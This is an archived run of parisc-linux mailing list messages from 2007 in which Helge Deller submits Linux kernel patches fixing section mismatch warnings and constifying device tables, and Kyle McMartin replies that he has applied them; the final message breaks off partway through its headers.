Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 5F554837DB; Sun, 27 May 2007 12:37:04 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200705271820.48016.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gIRrdwgmIyd11fqQe2drH0laa2FkZhWn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24576

On Sun, May 27, 2007 at 06:20:47PM +0200, Helge Deller wrote:
> Hi Kyle,
> 
> this fixes section mismatches in ccio-dma.
> Additionally, mark parisc_device_id table const.
> 
> Please apply, Helge
> 

applied



From - Thu Nov 08 21:35:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] [PARISC] fix section mismatch in
	parisc/kernel
Date: Sun, 27 May 2007 19:30:36 +0200
Lines: 123
Approved: news@gmane.org
Message-ID: <200705271930.36593.deller__23716.7636085816$1416624369$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624369 24004 80.91.229.3 (22 Nov 2014 02:46:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 17:30:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 27 May 2007 19:30:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 937757DD80;
	Sun, 27 May 2007 11:30:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14059-07; Sun, 27 May 2007 11:30:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2FD1E7DD82;
	Sun, 27 May 2007 11:30:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 301CD7DD7B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 11:30:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14059-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 11:30:40 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id E0DEB7DD7A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 11:30:39 -0600 (MDT)
Original-Received: (qmail invoked by alias); 27 May 2007 17:30:38 -0000
Original-Received: from mnhm-590c1a65.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.26.101]
	by mail.gmx.net (mp038) with SMTP; 27 May 2007 19:30:38 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: c/dscusKTiEth6yUaGRwhRh1ZUVSRJeK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24577

Hi Kyle,

this patch fixes two section mismatches in parisc/kernel:
WARNING: arch/parisc/kernel/built-in.o(.data.read_mostly+0xd8): Section mismatch: reference to .init.text:processor_probe (between 'cpu_driver' and 'boot_cpu_data')
WARNING: arch/parisc/kernel/built-in.o(.text.alloc_pa_dev+0x140): Section mismatch: reference to .init.text:parisc_hardware_description (after 'alloc_pa_dev')

Additionally, mark some tables as constants.

Please apply, Helge

    Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/hardware.c b/arch/parisc/kernel/hardware.c
index e365f03..04848b2 100644
--- a/arch/parisc/kernel/hardware.c
+++ b/arch/parisc/kernel/hardware.c
@@ -38,7 +38,7 @@
  *	so don't reference this table after starting the init process
  */
  
-static struct hp_hardware hp_hardware_list[] __initdata = {
+static struct hp_hardware hp_hardware_list[] __devinitdata = {
 	{HPHW_NPROC,0x01,0x4,0x0,"Indigo (840, 930)"},
 	{HPHW_NPROC,0x8,0x4,0x01,"Firefox(825,925)"},
 	{HPHW_NPROC,0xA,0x4,0x01,"Top Gun (835,834,935,635)"},
@@ -1219,7 +1219,7 @@ static struct hp_cpu_type_mask {
 	unsigned short model;
 	unsigned short mask;
 	enum cpu_type cpu;
-} hp_cpu_type_mask_list[] __initdata = {
+} hp_cpu_type_mask_list[] __devinitdata = {
 
 	{ 0x0000, 0x0ff0, pcx    },  /* 0x0000 - 0x000f */
 	{ 0x0048, 0x0ff0, pcxl   },  /* 0x0040 - 0x004f */
@@ -1300,7 +1300,7 @@ static struct hp_cpu_type_mask {
 	{ 0x0000, 0x0000, pcx    }	/* terminate table */
 };
 
-char *cpu_name_version[][2] = {
+const char * const cpu_name_version[][2] = {
 	[pcx]	= { "PA7000 (PCX)",	"1.0" },
 	[pcxs]	= { "PA7000 (PCX-S)",	"1.1a" },
 	[pcxt]	= { "PA7100 (PCX-T)",	"1.1b" },
@@ -1316,7 +1316,7 @@ char *cpu_name_version[][2] = {
 	[mako2] = { "PA8900 (Shortfin)",	"2.0" }
 };
 
-const char * __init
+const char * __devinit
 parisc_hardware_description(struct parisc_device_id *id)
 {
 	struct hp_hardware *listptr;
@@ -1355,7 +1355,7 @@ parisc_hardware_description(struct paris
 
 
 /* Interpret hversion (ret[0]) from PDC_MODEL(4)/PDC_MODEL_INFO(0) */
-enum cpu_type __init
+enum cpu_type __cpuinit
 parisc_get_cpu_type(unsigned long hversion)
 {
 	struct hp_cpu_type_mask *ptr;
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index 27f9553..549f548 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -76,7 +76,7 @@ extern int update_cr16_clocksource(void)
  * (return 1).  If so, initialize the chip and tell other partners in crime 
  * they have work to do.
  */
-static int __init processor_probe(struct parisc_device *dev)
+static int __cpuinit processor_probe(struct parisc_device *dev)
 {
 	unsigned long txn_addr;
 	unsigned long cpuid;
@@ -381,12 +381,12 @@ show_cpuinfo (struct seq_file *m, void *
 	return 0;
 }
 
-static struct parisc_device_id processor_tbl[] __read_mostly = {
+static const struct parisc_device_id processor_tbl[] = {
 	{ HPHW_NPROC, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, SVERSION_ANY_ID },
 	{ 0, }
 };
 
-static struct parisc_driver cpu_driver __read_mostly = {
+static struct parisc_driver cpu_driver = {
 	.name		= "CPU",
 	.id_table	= processor_tbl,
 	.probe		= processor_probe
diff --git a/include/asm-parisc/hardware.h b/include/asm-parisc/hardware.h
index daf58dd..4e96268 100644
--- a/include/asm-parisc/hardware.h
+++ b/include/asm-parisc/hardware.h
@@ -35,7 +35,7 @@ enum cpu_type {
 	mako2	= 12  /* pa8900		pa 2.0  */
 };
 
-extern char *cpu_name_version[][2]; /* mapping from enum cpu_type to strings */
+extern const char * const cpu_name_version[][2]; /* mapping from enum cpu_type to strings */
 
 struct parisc_driver;
 
diff --git a/include/asm-parisc/processor.h b/include/asm-parisc/processor.h
index 0052dc9..6b294fb 100644
--- a/include/asm-parisc/processor.h
+++ b/include/asm-parisc/processor.h
@@ -69,8 +69,8 @@ struct system_cpuinfo_parisc {
 		char   sys_model_name[81]; /* PDC-ROM returnes this model name */
 	} pdc;
 
-	char		*cpu_name;	/* e.g. "PA7300LC (PCX-L2)" */
-	char		*family_name;	/* e.g. "1.1e" */
+	const char	*cpu_name;	/* e.g. "PA7300LC (PCX-L2)" */
+	const char	*family_name;	/* e.g. "1.1e" */
 };
 
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [PARISC] fix section mismatch in parisc/kernel
Date: Sun, 27 May 2007 13:37:34 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20070527173734.GE25860__3653.15752937949$1416624369$gmane$org@fattire.cabal.ca>
References: <200705271930.36593.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624369 24008 80.91.229.3 (22 Nov 2014 02:46:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@fattire.cabal.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 17:37:37 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx091) with SMTP; 27 May 2007 19:37:37 +0200
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 7F25B58408E;
	Sun, 27 May 2007 13:37:35 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 001E558408C;
	Sun, 27 May 2007 13:37:34 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id A7441837DB; Sun, 27 May 2007 13:37:34 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200705271930.36593.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0/hqfgo6MmApm7SZZGFnnksxMjQ1N53z
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24578

On Sun, May 27, 2007 at 07:30:36PM +0200, Helge Deller wrote:
> Hi Kyle,
> 
> this patch fixes two section mismatches in parisc/kernel:
> WARNING: arch/parisc/kernel/built-in.o(.data.read_mostly+0xd8): Section mismatch: reference to .init.text:processor_probe (between 'cpu_driver' and 'boot_cpu_data')
> WARNING: arch/parisc/kernel/built-in.o(.text.alloc_pa_dev+0x140): Section mismatch: reference to .init.text:parisc_hardware_description (after 'alloc_pa_dev')
> 
> Additionally, mark some tables as constants.
> 
> Please apply, Helge
> 

applied, thanks



From - Thu Nov 08 21:35:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] [PARISC] fix section mismatch in parisc eisa
	driver
Date: Sun, 27 May 2007 19:57:11 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <200705271957.11716.deller__4512.20432664758$1416624369$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624369 24015 80.91.229.3 (22 Nov 2014 02:46:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 17:57:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 27 May 2007 19:57:24 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01EF77DD9B;
	Sun, 27 May 2007 11:57:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14728-05; Sun, 27 May 2007 11:57:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9EB127DDA4;
	Sun, 27 May 2007 11:57:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A8E3B7DD99
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 11:57:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14728-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 11:57:14 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 66EFE7DD90
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 11:57:14 -0600 (MDT)
Original-Received: (qmail invoked by alias); 27 May 2007 17:57:13 -0000
Original-Received: from mnhm-590c1a65.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.26.101]
	by mail.gmx.net (mp029) with SMTP; 27 May 2007 19:57:13 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zYA/LCh4aHI+m6WnKSUlsulqamdhZATu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24579

Hi Kyle,

this patch fixes the following section mismatch (EISA cards should be hotplug aware, but the EISA bus itself shouldn't):
WARNING: drivers/built-in.o(.text.eisa_probe+0x220): Section mismatch: reference to .init.text:eisa_root_register (after 'eisa_probe')

Please apply, 
Helge

    Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/parisc/eisa.c b/drivers/parisc/eisa.c
index 309076b..771cef5 100644
--- a/drivers/parisc/eisa.c
+++ b/drivers/parisc/eisa.c
@@ -307,7 +307,7 @@ static void init_eisa_pic(void)
 
 #define is_mongoose(dev) (dev->id.sversion == 0x00076)
 
-static int __devinit eisa_probe(struct parisc_device *dev)
+static int __init eisa_probe(struct parisc_device *dev)
 {
 	int i, result;
 
@@ -387,7 +387,7 @@ static int __devinit eisa_probe(struct p
 	return 0;
 }
 
-static struct parisc_device_id eisa_tbl[] = {
+static const struct parisc_device_id eisa_tbl[] = {
 	{ HPHW_BA, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00076 }, /* Mongoose */
 	{ HPHW_BA, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00090 }, /* Wax EISA */
 	{ 0, }
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] [PARISC] fix section mismatch in superio
	serial drivers
Date: Sun, 27 May 2007 20:38:47 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <200705272038.47588.deller__49557.8307578855$1416624370$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624370 24020 80.91.229.3 (22 Nov 2014 02:46:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 18:39:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 27 May 2007 20:39:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 39B107DDC9;
	Sun, 27 May 2007 12:38:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14967-09; Sun, 27 May 2007 12:38:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA61C7DDC3;
	Sun, 27 May 2007 12:38:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE9297DDBE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 12:38:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14966-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 12:38:51 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id B4A287DDB4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 12:38:50 -0600 (MDT)
Original-Received: (qmail invoked by alias); 27 May 2007 18:38:49 -0000
Original-Received: from mnhm-590c1a65.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.26.101]
	by mail.gmx.net (mp009) with SMTP; 27 May 2007 20:38:49 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV, !nBy[6(/?#8M>x`5xzg/7:FkM.l@
	13<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"':
	t"f6wKtHUPFB&/]Z5^?9~IQs=16R; Pg"NS9JD=DK!ft&4b@S~&q/MfI3; qWqlg7Q1==jS4
	9V5OJkm$WQ[dc^_Y']DvibvMjizUZ]+'Jd4UnM><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: I6EwKTI2MydyuIigZWplEqxraGRhZppV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24580

This patch fixes two section mismatches in superio serial setup:
WARNING: drivers/built-in.o(.text.superio_serial_init+0x78): Section mismatch: reference to .init.text:early_serial_setup (after 'superio_serial_init')
WARNING: drivers/built-in.o(.text.superio_serial_init+0xa4): Section mismatch: reference to .init.text:early_serial_setup (after 'superio_serial_init')

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
index 1fd97f7..a708c32 100644
--- a/drivers/parisc/superio.c
+++ b/drivers/parisc/superio.c
@@ -389,7 +389,7 @@ int superio_fixup_irq(struct pci_dev *pc
 	return local_irq;
 }
 
-static void __devinit superio_serial_init(void)
+static void __init superio_serial_init(void)
 {
 #ifdef CONFIG_SERIAL_8250
 	int retval;
@@ -423,7 +423,7 @@ static void __devinit superio_serial_ini
 }
 
 
-static void __devinit superio_parport_init(void)
+static void __init superio_parport_init(void)
 {
 #ifdef CONFIG_PARPORT_PC
 	if (!parport_pc_probe_port(sio_dev.pp_base,
@@ -450,7 +450,7 @@ static void superio_fixup_pci(struct pci
 DECLARE_PCI_FIXUP_EARLY(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87415, superio_fixup_pci);
 
 
-static int __devinit
+static int __init
 superio_probe(struct pci_dev *dev, const struct pci_device_id *id)
 {
 	struct superio_device *sio = &sio_dev;
@@ -485,7 +485,7 @@ superio_probe(struct pci_dev *dev, const
 	return -ENODEV;
 }
 
-static struct pci_device_id superio_tbl[] = {
+static const struct pci_device_id superio_tbl[] = {
 	{ PCI_DEVICE(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87560_LIO) },
 	{ PCI_DEVICE(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87560_USB) },
 	{ PCI_DEVICE(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87415) },
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] [PARISC] fix section mismatch in parisc eisa driver
Date: Sun, 27 May 2007 15:02:26 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20070527190226.GF25860__30208.4513394677$1416624370$gmane$org@fattire.cabal.ca>
References: <200705271957.11716.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624370 24024 80.91.229.3 (22 Nov 2014 02:46:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@fattire.cabal.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 19:02:29 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx060) with SMTP; 27 May 2007 21:02:29 +0200
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 234D758408E;
	Sun, 27 May 2007 15:02:27 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id B26AC58408C;
	Sun, 27 May 2007 15:02:26 -0400 (EDT)
